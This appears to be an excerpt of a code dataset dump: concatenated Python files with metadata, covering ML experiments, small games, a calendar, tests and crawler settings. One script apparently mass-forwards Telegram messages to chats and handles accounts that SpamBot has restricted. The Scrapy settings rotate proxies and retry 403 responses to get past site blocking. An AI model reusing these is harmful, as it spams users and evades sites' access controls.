f.add_subplot(2,2,2)\nax.imshow(convert_batch_to_image_grid(x_recon_train)[:,:,0],\n interpolation='nearest')\nax.set_title('training data reconstructions')\nplt.axis('off')\n\noriginal_test = next(iter(test_dataset))\nz = pre_vq_conv1(encoder(original_test))\nvq_output_train = vq_vae._build(z, training=True)\nx_recon_test = decoder(vq_output_train[\"quantize\"])\n\nax = f.add_subplot(2,2,3)\nax.imshow(convert_batch_to_image_grid(original_test)[:,:,0],\n interpolation='nearest')\nax.set_title('validation data originals')\nplt.axis('off')\n\nax = f.add_subplot(2,2,4)\nax.imshow(convert_batch_to_image_grid(x_recon_test)[:,:,0],\n interpolation='nearest')\nax.set_title('validation data reconstructions')\nplt.axis('off')\n","sub_path":"WIP/train_fasionmnist_with_VQEMA.py","file_name":"train_fasionmnist_with_VQEMA.py","file_ext":"py","file_size_in_byte":12590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"514246703","text":"import calendar\n\ndef uruudoshiCheck(year):\n if year % 400 == 0:\n return 1\n elif year % 100 == 0:\n return 0\n elif year % 4 == 0:\n return 1\n else:\n return 0\n\ndef gantanNannyoubi(year):\n # 1583年1月1日は土曜日なので初期値6\n d = 6\n for y in range(1583, year):\n d = d + 365\n if uruudoshiCheck(y):\n d = d + 1\n return d % 7\n\ndef tukiNoNissu(year, month):\n dayList = [31,28,31,30,31,30,31,31,30,31,30,31]\n if uruudoshiCheck(year):\n dayList[1] = 29\n return dayList[month - 1]\n\ndef tuitatiNoYoubi(year, month):\n youbi = gantanNannyoubi(year)\n if month != 1:\n for m in range(1, month):\n youbi = youbi + tukiNoNissu(year, m)\n youbi = youbi % 7\n return youbi\n\ndef printCalendar(year, month):\n youbi = 0\n day = tukiNoNissu(year, month)\n num = 1\n print(\"[{}年{}月]\".format(year, month))\n print(\" 日 月 火 水 木 金 土\")\n while youbi < tuitatiNoYoubi(year, month):\n print(\" \", end = \"\")\n youbi = youbi + 1\n while num <= day:\n print('{:>3}'.format(num), end = \"\")\n num = num + 1\n youbi = youbi + 1\n if youbi == 7:\n print()\n youbi = 0\n print()\n\n\n\nprint(\"1583年以降の任意の月のカレンダーを表示します\")\nyear = 0\nmonth = 0\nwhile year < 1583:\n year = int(input(\"year : \"))\nwhile month < 1 or month > 12:\n month = int(input(\"month: \"))\nprintCalendar(year, month)\n\nprint()\nprint(\"pythonはべんりだねえ\")\nprint(calendar.month(year, month))\n","sub_path":"calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"324360823","text":"# functop - experiment to determine ability to separate Boolean function from topology when meeting Lipschitz condition\n\nlipschitzbound = 2 # the max allowable change in output metric due to a change of one in input metric\n\n# CSV file for storing biadjacency\nadjfile = open(\"biadj.csv\",\"w\")\n\n# All useful two-input Boolean functions, i.e. those where the output does not only depend on zero or one inputs\nusefulfuncs = [\n # first those with one minterm\n [0, 0, 0, 1],\n [0, 0, 1, 0],\n [0, 1, 0, 0],\n [1, 0, 0, 0],\n # now those with two minterms\n [0, 1, 1, 0],\n [1, 0, 0, 1],\n # finally those with three minterms\n [0, 1, 1, 1],\n [1, 0, 1, 1],\n [1, 1, 0, 1],\n [1, 1, 1, 0]\n]\n\nnumfuncs = len(usefulfuncs)\noutputs = [0]*8;\ntotal_successes = 0;\nsuccessrecord = [0]*numfuncs*numfuncs*numfuncs*numfuncs;\n\nfor funcasumindex in range(numfuncs):\n funcasum = usefulfuncs[funcasumindex];\n\n for funcacarryindex in range(numfuncs):\n funcacarry = usefulfuncs[funcacarryindex];\n\n for funcbsumindex in range(numfuncs):\n funcbsum = usefulfuncs[funcbsumindex];\n\n for funcbcarryindex in range(numfuncs):\n funcbcarry = usefulfuncs[funcbcarryindex];\n\n for inputword in range(8):\n # extract the primary inputs\n cin = (inputword >> 2) & 0b01;\n a1 = (inputword >> 1) & 0b01;\n a0 = (inputword) & 0b01;\n\n # simulate the circuit\n s1 = funcasum[(cin << 1) | a1];\n cinternal = funcacarry[(cin << 1) | a1];\n s0 = funcbsum[(cinternal << 1) | a0];\n cout = funcbcarry[(cinternal << 1) | a0];\n outputword = (s1 << 2) | (s0 << 1) | cout;\n\n # record the result\n outputs[inputword] = outputword;\n \n # now check whether this function meets the metric requirements\n successflag = 1;\n for inputword in range(7):\n if abs(outputs[inputword] - outputs[inputword+1]) > lipschitzbound:\n successflag = 0;\n \n adjfile.write(str(successflag));\n adjfile.write(\", \")\n if successflag == 1:\n total_successes = total_successes + 1;\n\n \n adjfile.write('\\n') #newline for new A function\n\nprint (\"Total functions meeting metric criteria: \", total_successes, \" out of \", numfuncs*numfuncs*numfuncs*numfuncs);\n\n","sub_path":"functop.py","file_name":"functop.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"580808324","text":"import control\nimport matplotlib.pyplot as plt\n\nnum = [0,0,1,3]\nden = [1,-3,0,0]\n\n#Transfer function GH = num/den\nG = control.tf(num,den) \ncontrol.nyquist(G)\nplt.grid(True)\nplt.scatter(-1,0,s=40)\nplt.annotate(\"-1+0j\",(-1,0))\nplt.title('Nyquist Diagram of G(s)H(s)')\nplt.xlabel('Re(s)')\nplt.ylabel('Im(s)')\nplt.show()","sub_path":"es17btech11009/codes/es17btech11009.py","file_name":"es17btech11009.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"368856890","text":"# Ivan Carvalho\n# Solution to https://www.beecrowd.com.br/judge/problems/view/1547\n# encoding: utf-8\nordem = int(input())\ncasos = []\nalunos = []\nfor i in range(ordem):\n casos.append([int(i) for i in input().split(\" \")])\n alunos.append(input())\nfor a, b in enumerate(casos):\n qt, s = b\n array = [abs(int(k) - s) for k in alunos[a].split(\" \")]\n print(1 + array.index(min(array)))\n","sub_path":"beecrowd/1547.py","file_name":"1547.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"566447352","text":"import sys\nfrom PyQt5.QtCore import (\n Qt,\n QBasicTimer\n)\nfrom PyQt5.QtGui import (\n QBrush,\n QPixmap\n)\nfrom PyQt5.QtWidgets import (\n QApplication,\n QGraphicsItem,\n QGraphicsPixmapItem,\n QGraphicsRectItem,\n QGraphicsScene,\n QGraphicsView\n)\n\nPLAYER_SPEED = 3\n\nclass Player2(QGraphicsPixmapItem):\n def __init__(self):\n QGraphicsPixmapItem.__init__(self)\n self.setPixmap(QPixmap('assets/ship2.png').scaled(50, 50))\n\n self.lives=3\n\n def loseLife(self):\n if(self.lives>0):\n self.lives -= 1","sub_path":"entities/Player2.py","file_name":"Player2.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"501399519","text":"import os\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\n\ndef load(data_dir, subset='train'):\n mnist = input_data.read_data_sets(data_dir, reshape=False)\n X_train = np.vstack((mnist.train.images, mnist.validation.images))\n Y_train = np.concatenate((mnist.train.labels, mnist.validation.labels))\n X_test = mnist.test.images\n Y_test = mnist.test.labels\n\n # XXX\n # this is a hack cause the pixelcnn code doesn't support greyscale images\n def grey2rgb(i):\n return np.concatenate((i, i, i), axis=3)\n X_train = grey2rgb(X_train)\n X_test = grey2rgb(X_test)\n\n if subset == 'train':\n return X_train, Y_train\n elif subset == 'test':\n return X_test, Y_test\n else:\n raise ValueError('subset must be train or test')\n\n\nclass DataLoader(object):\n \"\"\" an object that generates batches of MNIST data for training \"\"\"\n\n def __init__(self, data_dir, subset, batch_size, rng=None, shuffle=False, return_labels=False):\n \"\"\" \n - data_dir is location where to store files\n - subset is train|test \n - batch_size is int, of #examples to load at once\n - rng is np.random.RandomState object for reproducibility\n \"\"\"\n\n self.data_dir = data_dir\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.return_labels = return_labels\n\n # create temporary storage for the data, if not yet created\n if not os.path.exists(data_dir):\n print('creating folder', data_dir)\n os.makedirs(data_dir)\n\n # load CIFAR-10 training data to RAM\n self.data, self.labels = load(os.path.join(data_dir, 'mnist'), subset=subset)\n \n self.p = 0 # pointer to where we are in iteration\n self.rng = np.random.RandomState(1) if rng is None else rng\n\n def get_observation_size(self):\n return self.data.shape[1:]\n\n def get_num_labels(self):\n return np.amax(self.labels) + 1\n\n def reset(self):\n self.p = 0\n\n def __iter__(self):\n return self\n\n def __next__(self, n=None):\n \"\"\" n is the number of examples to fetch \"\"\"\n if n is None: n = self.batch_size\n\n # on first iteration lazily permute all data\n if self.p == 0 and self.shuffle:\n inds = self.rng.permutation(self.data.shape[0])\n self.data = self.data[inds]\n self.labels = self.labels[inds]\n\n # on last iteration reset the counter and raise StopIteration\n if self.p + n > self.data.shape[0]:\n self.reset() # reset for next time we get called\n raise StopIteration\n\n # on intermediate iterations fetch the next batch\n x = self.data[self.p : self.p + n]\n y = self.labels[self.p : self.p + n]\n self.p += self.batch_size\n\n if self.return_labels:\n return x,y\n else:\n return x\n\n next = __next__ # Python 2 compatibility (https://stackoverflow.com/questions/29578469/how-to-make-an-object-both-a-python2-and-python3-iterator)\n","sub_path":"data/mnist_data.py","file_name":"mnist_data.py","file_ext":"py","file_size_in_byte":3065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"565688650","text":"# -*- coding:utf-8 -*-\n\nimport time\n\nfrom ..utils.common import config\n\n\ndef get_dispatcher(hyper_model, **kwargs):\n experiment = config('experiment', time.strftime('%Y%m%d%H%M%S'))\n work_dir = config('work-dir', f'experiments/{experiment}')\n\n if hyper_model.searcher.parallelizable:\n backend = config('search-backend', 'standalone')\n\n if backend == 'dask':\n from .dask.dask_dispatcher import DaskDispatcher\n return DaskDispatcher(config('models_dir', work_dir))\n elif config('role') is not None:\n role = config('role', 'standalone')\n driver_address = config('driver')\n if role == 'driver':\n from hypernets.dispatchers.cluster import DriverDispatcher\n return DriverDispatcher(driver_address, work_dir)\n elif role == 'executor':\n if driver_address is None:\n raise Exception('Not found setting \"driver\" for executor role.')\n from hypernets.dispatchers.cluster import ExecutorDispatcher\n return ExecutorDispatcher(driver_address)\n\n return default_dispatcher(work_dir)\n\n\ndef default_dispatcher(work_dir=None):\n from .in_process_dispatcher import InProcessDispatcher\n\n models_dir = f'{work_dir}/models' if work_dir else ''\n return InProcessDispatcher(models_dir)\n","sub_path":"hypernets/dispatchers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"100766236","text":"import unittest\n\nfrom dht import constants, contact\n\n\nclass TestContact(unittest.TestCase):\n \"\"\"\n Test the API of dht.contact.\n \"\"\"\n @classmethod\n def setUpClass(cls):\n cls.guid1 = '1' * constants.HEX_NODE_ID_LEN\n cls.guid2 = 'f' * constants.HEX_NODE_ID_LEN\n cls.ipv4 = '123.45.67.89'\n cls.ipv6 = '2001:db8:85a3::8a2e:370:7334'\n cls.port1 = 12345\n cls.port2 = 12346\n\n def _test_init_scenario(self, ip, port, guid):\n contact1 = contact.Contact(ip, port, guid)\n self.assertEqual(contact1.ip, ip)\n self.assertEqual(contact1.port, port)\n self.assertEqual(contact1.guid, guid)\n\n def test_init_classic(self):\n self._test_init_scenario(self.ipv4, self.port1, self.guid1)\n\n def test_init_unicode(self):\n self._test_init_scenario(self.ipv4, self.port1, unicode(self.guid1))\n\n def test_init_ipv6(self):\n self._test_init_scenario(self.ipv6, self.port1, self.guid1)\n\n def test_eq_hash(self):\n c1 = contact.Contact(self.ipv4, self.port1, self.guid1)\n c2 = contact.Contact(self.ipv6, self.port2, self.guid1)\n self.assertIsNot(c1, c2)\n self.assertEqual(c1, c2)\n self.assertEqual(hash(c1), hash(c2))\n\n def test_uneq(self):\n c1 = contact.Contact(self.ipv4, self.port1, self.guid1)\n c2 = contact.Contact(self.ipv4, self.port1, self.guid2)\n self.assertNotEqual(c1, c2)\n\n def test_repr(self):\n c1 = contact.Contact(self.ipv4, self.port1, self.guid1)\n cr = repr(c1)\n self.assertEqual(\n cr,\n 'Contact({0}, {1}, {2})'.format(self.ipv4, self.port1, self.guid1)\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/dht/test_contact.py","file_name":"test_contact.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"626625809","text":"from cronrunner.index import Index\n\nfrom model.Queue import Queue\n\nfrom model.Client import Client\n\nfrom model.Queue import Queue\n\nfrom model.Push import Push\n\nimport datetime\n\nimport logging\n\nfrom client.message import Message\n\nimport sys\n\nimport signal\n\nimport time\n\nimport timeout_decorator\n\nclient_obj = Client()\n\nqueue_obj = Queue()\n\npush_obj = Push()\n\ndef logger(info):\n\t\n\ttoday=datetime.date.today()\n\n\tfilename = 'log/'+'cron'+'-'+str(today)+'.log'\n\n\tlogging.basicConfig(level=logging.INFO,filename=filename,format='%(asctime)s - %(message)s')\n\t\n\tlogging.info(info)\n\n\treturn\n\n@timeout_decorator.timeout(60, use_signals=False)\ndef forward(phone,chatids,message_id):\n\t\n\tmessage = Message(phone)\n\n\tlog = str(phone)\n\n\tnotin = []\n\n\tfor chatid in chatids:\n\n\t\tret = message.forward_message(chatid,'me',message_id)\n\n\t\tif ret['success']:\n\t\t\t\n\t\t\tlog = log + '-' + chatid + '(success)'\n\n\t\telse:\n\n\t\t\tlog = log + '-' + chatid + '(' + ret['msg'] + ')'\n\n\t\t\tif 'check @SpamBot' in ret['msg']:\n\t\t\t\t\n\t\t\t\tclient_obj.update({'phone':phone},{'status':2})\n\n\t\t\t\tpush_obj.update({'phone':phone},{'status':0})\n\n\t\t\t\tbreak\n\n\t\t\telif '未验证' in ret[\"msg\"]:\n\n\t\t\t\tclient_obj.update({'phone':phone},{'status':4})\n\n\t\t\t\tpush_obj.update({'phone':phone},{'status':0})\n\n\t\t\t\tbreak\n\n\t\t\telif ('[403 CHAT_WRITE_FORBIDDEN]' in ret[\"msg\"]) or ('Username not found' in ret[\"msg\"]):\n\n\t\t\t\tnotin.append(chatid)\n\n\tif len(notin):\n\t\t\n\t\tpush_obj.updateSelf({'phone':phone},{'$pull':{'chat':{'$in':notin}}})\n\n\tlogger(log)\n\n\treturn\n\ndef clear():\n\t\n\tqueue = queue_obj.findOne({})\n\n\tif queue:\n\n\t\tqueue_obj.remove({\"_id\":queue[\"_id\"]})\n\n\t\ttry:\n\n\t\t\tforward(queue[\"phone\"],queue[\"chat\"],queue[\"message_id\"])\n\t\t\n\t\texcept Exception as e:\n\t\t\t\n\t\t\tlogger(str(e)+'---'+queue[\"phone\"])\n\treturn\n\nclear()\n\nsys.exit()","sub_path":"clearJob.py","file_name":"clearJob.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"405459932","text":"import keras.models\nimport numpy as np\nimport keras.activations\nimport random\nfrom game import GameEnv\nfrom DeepQNet import createDQN\nfrom Memory import Memory\n\ngamma = 0.9\nnum_episode = 100\nnum_frames = 4\nepsilon = 0.2\nmemoryPool = Memory()\nbatch_size = 32\ncheckpoint_freq = 10\n\nfor episode in range(num_episode):\n\n gameEnv = GameEnv((20, 20))\n model = createDQN(num_frames, gameEnv)\n over = False\n loss = 0.0\n last_frames = gameEnv.getLastFrames(4)\n total_reward = 0\n\n while over is not True:\n\n decision = random.random()\n direction = 0\n\n if decision < epsilon:\n direction = random.randint(-1, 1)\n else:\n shape = (1,) + last_frames.shape\n last_frames_copy = last_frames.reshape(shape)\n Q = model.predict(last_frames_copy)\n direction = np.argmax(Q) - 1\n\n reward = gameEnv.stepForwardWithReward(direction)\n total_reward += reward\n over = gameEnv.isOver()\n last_frames_new = gameEnv.getLastFrames(num_frames)\n print('last_frames shape', last_frames_new.copy().shape)\n memoryPiece = [last_frames.copy(), last_frames_new.copy(), direction, reward]\n memoryPool.addMemory(memoryPiece)\n last_frames = last_frames_new\n X_batch, targets = memoryPool.getMemoryBatch(batch_size, model, gamma)\n loss += float(model.train_on_batch(X_batch, targets))\n\n if checkpoint_freq and (episode % checkpoint_freq) == 0:\n model.save(f'dqn-{episode:08d}.model')\n\n summary = 'Episode {:5d}/{:5d} | Loss {:8.4f} | Total Reward {:4d}'\n print(summary.format(\n episode + 1, num_episode, loss, total_reward\n ))\n\n\n\n\n\n\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"610444407","text":"import random\r\nimport pygame\r\npygame.init()\r\n\r\nW=800\r\nH=700\r\n \r\ngameBoard = pygame.display.set_mode((W,H))\r\n\r\npygame.display.set_caption(\"/////////// SPACE INVADERS ///////////\") #setting_window_tittle\r\nwiconpic=pygame.image.load(\"wiconpic.jpg\") #pic_4_window_icon\r\npygame.display.set_icon(wiconpic) #setting_window_icon\r\n\r\n#player\r\nplayerimage=pygame.image.load(\"player.png\")\r\nplayerx=380\r\nplayery=600\r\nplayerx_change= 0\r\nplayerimage= pygame.transform.scale(playerimage,(60,60))\r\nenemyimage=pygame.image.load(\"enemy.png\")\r\n\r\nbackground1=pygame.image.load(\"bg2.jpg\") #yebackground ho gaya\r\n\r\n#enemy\r\n#enemyx=380\r\n#enemyy=50\r\nenemyx=random.randint(0,720) #800-80\r\nenemyy=random.randint(50,100)\r\nenemyx_change=1\r\nenemyy_change=40\r\n\r\nenemyimage= pygame.transform.scale(enemyimage,(80,90))\r\n\r\n# Ready - You can't see the bullet on the screen\r\n# Fire - The bullet is currently moving\r\n\r\nbulletimg = pygame.image.load('bullet.png')\r\nbulletx = 0\r\nbullety = 600\r\nbulletx_change = 0\r\nbullety_change = 5\r\nbullet_state = \"ready\"\r\n\r\ndef player(x,y):\r\n gameBoard.blit(playerimage,(x,y))\r\n\r\ndef enemy(x,y):\r\n gameBoard.blit(enemyimage,(x,y))\r\n\r\ndef fire_bullet(x, y):\r\n global bullet_state\r\n bullet_state = \"fire\"\r\n gameBoard.blit(bulletimg, (x+15 , y+25 ))\r\n\r\nred= 255,0 ,0\r\nwhite = 255,255,255\r\nblue = 0,0,255\r\nblack = 0,0,0\r\ngreen = 0,255,0\r\n\r\nwhile True:\r\n gameBoard.fill(black) #pehle hi pass karo, kyunki sab kuch iske upar dikhega hume\r\n gameBoard.blit(background1,(0,0))\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n\r\n \r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n playerx_change= -3\r\n\r\n if event.key == pygame.K_RIGHT:\r\n playerx_change= 3\r\n\r\n if event.key == pygame.K_SPACE:\r\n # Get the current x cordinate of the spaceship\r\n bulletx = playerx\r\n fire_bullet(playerx, bullety)\r\n \r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n playerx_change= 00\r\n \r\n\r\n\r\n\r\n # up down left right depend on this\r\n playerx += playerx_change\r\n player(playerx,playery) #playerfuntionkocall\r\n enemy(enemyx,enemyy) #enemyfuntionkocall\r\n\r\n # boundary for player\r\n if playerx <=0:\r\n playerx = 0\r\n elif playerx >W-60:\r\n playerx = W-60 # playerkiwidth60\r\n\r\n enemyx += enemyx_change\r\n # boundary for enemy\r\n if enemyx <=0:\r\n enemyx_change=1\r\n enemyy += enemyy_change #jitni baar takrayega y bhi kum hoga iska\r\n elif enemyx >W-60:\r\n enemyx_change=-1\r\n enemyy += enemyy_change #jitni baar takrayega y bhi kum hoga iska\r\n\r\n # Bullet Movement\r\n \r\n if bullety <=0:\r\n bullety = 600\r\n bullet_state= \"ready\"\r\n\r\n if bullet_state is \"fire\":\r\n fire_bullet(bulletx, bullety)\r\n bullety -= bullety_change\r\n \r\n \r\n pygame.display.flip()\r\n pygame.display.update() # window_update_rahegi_all_because_of_this_line\r\n","sub_path":"space invader/bulletaddkarnekebaad.py","file_name":"bulletaddkarnekebaad.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"39673029","text":"\n\n#calss header\nclass _SORTER():\n\tdef __init__(self,): \n\t\tself.name = \"SORTER\"\n\t\tself.definitions = [u'someone who puts letters and parcels into groups before they are delivered', u'a machine that separates the wheat or other grains from any waste or unwanted material mixed in with it']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_sorter.py","file_name":"_sorter.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"631376340","text":"import numpy as np \r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.stats import chi2\r\nfrom scipy.stats import norm\r\nimport math\r\n\r\ndef test_chi_cuadrado(repeat, muestra):\r\n # ======================= Divido el los intervalos en sqrt(n)\r\n intervals = int(np.sqrt(repeat))\r\n len_interval = 1 / intervals\r\n\r\n # ======================= Calculo la frecuencia relativa\r\n frec_acum = []\r\n frec_obs = list(np.zeros(intervals))\r\n\r\n # ======================= Calculo frecuencia acumulada esperada: absoluta por intervalo\r\n for i in range(0,intervals):\r\n frec_acum.append(len_interval * (i + 1))\r\n\r\n #Test chicuadrado\r\n for i in muestra:\r\n for j in range(intervals):\r\n if(i < frec_acum[j]):\r\n frec_obs[j] += 1\r\n break\r\n\r\n # ======================= Frec observada acumulada\r\n acum, frec_obs_acum = 0, []\r\n for i in frec_obs:\r\n acum = i + acum\r\n frec_obs_acum.append(acum)\r\n\r\n frec_esp = int(repeat / intervals)\r\n chi = 0\r\n for oi in frec_obs:\r\n chi += ((oi - frec_esp) ** 2) / frec_esp\r\n\r\n gl = intervals - 1\r\n ic = 0.95\r\n table = chi2.ppf(ic, gl)\r\n\r\n if(chi < table):\r\n #print('No hay evidencia estadística que permita rechazar la hipótesis nula H0:')\r\n param = f'[Val.Chi({round(chi, 2)}) < Val.table({round(table, 2)})]'\r\n paso = 'PASO'\r\n else:\r\n #print('Se rechaza la hipótesis nula H0:')\r\n param = f'[Val.Chi({round(chi, 2)}) > Val.table({round(table, 2)})]'\r\n paso = 'NO PASO'\r\n \r\n return frec_acum, frec_obs, frec_obs_acum, param, paso\r\n\r\ndef test_arriba_abajo(muestra):\r\n media = np.mean(muestra)\r\n landa = 0.05\r\n\r\n z_tabla = round(norm.ppf(landa/2),2)\r\n z_menor = z_tabla\r\n z_mayor = -z_tabla\r\n \r\n ns = []\r\n c0 = 1\r\n size = len(muestra)\r\n\r\n for m in range(size):\r\n if(muestra[m] > media):\r\n ns.append(0)\r\n elif (muestra[m] < media):\r\n ns.append(1)\r\n \r\n if((m != 0) and (ns[m] != ns[m - 1])):\r\n c0 += 1\r\n\r\n n0 = ns.count(1)\r\n n1 = ns.count(0)\r\n n = n0 + n1\r\n\r\n valor_esperado = 0.5 + (2 * n0 * n1) / n\r\n desviacion = np.sqrt((2 * n0 * n1 * (2 * n0 * n1 - n)) / ((n - 1) * (n ** 2)))\r\n z0 = (c0 - valor_esperado) / desviacion\r\n \r\n if(z0 > z_menor and z0 < z_mayor ):\r\n #print(f'No se puede rechazar la hipotesis {z_menor}< {round(z0,2)} < {z_mayor}')\r\n return f'Zmin({z_menor}) < Z0({round(z0,2)}) < Zmax({z_mayor})', 'PASO'\r\n elif (z0 < z_menor):\r\n return f'Zmin({z_menor}) < Z0({round(z0,2)})', 'NO PASO'\r\n else: \r\n return f'Z0({round(z0,2)}) > Zmax({z_mayor})', 'NO PASO'\r\ndef test_Kolmogorov_Smirnov(muestra):\r\n #muestra = list(muestra0)\r\n muestra.sort()\r\n size = len(muestra)\r\n\r\n Dmaxi = round(1.358 / (math.sqrt(size) + 0.12 + (0.11 / math.sqrt(size))),4)\r\n\r\n # ======================= Calculo la frecuencia acumulada observada\r\n frec_acum = []\r\n # divisor = sum(muestra)\r\n frec_acum.append(muestra[0]) #/ divisor)\r\n\r\n for i in range(1, size):\r\n frec_acum.append(muestra[i])#frec_acum[i - 1] + muestra[i]/divisor)\r\n\r\n D_mas = []\r\n D_menos = []\r\n\r\n for i in range(size):\r\n D_mas.append(((i + 1) / size) - frec_acum[i])\r\n D_menos.append(frec_acum[i] - (i / size))\r\n\r\n D = round(max(max(D_mas), max(D_menos)),4)\r\n\r\n if(D <= Dmaxi):\r\n # ======================= Se acepta la hipotesis H0\r\n return f'{D} <= {Dmaxi}', 'PASO' \r\n else:\r\n # ======================= Se rechaza la hipotesis H0\r\n return f'{D} > {Dmaxi}', 'NO PASO'\r\n\r\ndef test_media(muestra, repeat):\r\n\r\n media = round(np.mean(muestra),4)\r\n\r\n landa = 0.05\r\n z_tabla = round(norm.ppf(landa/2),2)\r\n limite_superior = round(0.5 + abs(z_tabla) * (1 / np.sqrt(12 * repeat)),4)\r\n limite_inferior = round(0.5 - abs(z_tabla) * (1 / np.sqrt(12 * repeat)),4)\r\n\r\n if media < limite_superior and media > limite_inferior :\r\n return 'PASO', f'li({limite_inferior}) <= {media} <= ls({limite_superior})'\r\n elif media > limite_superior:\r\n return 'NO PASO', f'{media} > ls({limite_superior})'\r\n else: \r\n return 'NO PASO', f'li({limite_inferior}) > {media})'","sub_path":"TP 2.1 - Generadores nros pseudo/Codigo_Generadores/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"607657095","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for openlaw project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nBOT_NAME = 'openlaw'\n\nSPIDER_MODULES = ['openlaw.spiders']\nNEWSPIDER_MODULE = 'openlaw.spiders'\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\nUSER_AGENT = \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\"\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n# CONCURRENT_REQUESTS=32\n\n# Configure a delay for requests for the same website (default: 0)\n# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\nDOWNLOAD_DELAY = 4\n# The download delay setting will honor only one of:\nCONCURRENT_REQUESTS_PER_DOMAIN = 16\nCONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\nCOOKIES_ENABLED = True\nCOOKIES_DEBUG = True\n\n# Disable Telnet Console (enabled by default)\n# TELNETCONSOLE_ENABLED=False\n\n# Override the default request headers:\n# DEFAULT_REQUEST_HEADERS = {\n# \"Accept\": \"*/*\",\n# \"Accept-Encoding\": \"gzip,deflate\",\n# \"Accept-Language\": \"en-US,en;q=0.8,zh-TW;q=0.6,zh;q=0.4\",\n# \"Connection\": \"keep-alive\",\n# \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n# \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\"\n# }\n\n# Enable or disable spider middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\n# SPIDER_MIDDLEWARES = {\n# 'openlaw.middlewares.MyCustomSpiderMiddleware': 543,\n# }\n\n# Enable or disable downloader middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n\nRETRY_TIMES = 10\nRETRY_HTTP_CODES = [500, 503, 504, 400, 403, 404, 408]\n\nSPLASH_URL = 'http://127.0.0.1:8050'\nDUPEFILTER_CLASS = 'scrapy_splash.SplashAwareDupeFilter'\n\nSPIDER_MIDDLEWARES = {\n 'scrapy_splash.SplashDeduplicateArgsMiddleware': 100,\n}\n\nDOWNLOADER_MIDDLEWARES = {\n 'scrapy_splash.SplashCookiesMiddleware': 723,\n 'scrapy_splash.SplashMiddleware': 725,\n 'scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware': 810,\n}\n\n# HTTPCACHE_STORAGE = 'scrapy_splash.SplashAwareFSCacheStorage'\n\nPROXY_LIST = os.path.join('openlaw', 'static', 'proxys.txt')\n# AGENT_LIST = os.path.join('openlaw', 'static', 'agents.txt')\n\n\n# Enable or disable extensions\n# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html\n# EXTENSIONS = {\n# 'scrapy.telnet.TelnetConsole': None,\n# }\n\n# Configure item pipelines\n# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n # 'openlaw.pipelines.OpenlawPipeline': 300, # mongodb实现\n # 'openlaw.pipelines.MySQLPipeline': 300, # mysql实现\n 'openlaw.pipelines.MySQLPipelineFilterLink': 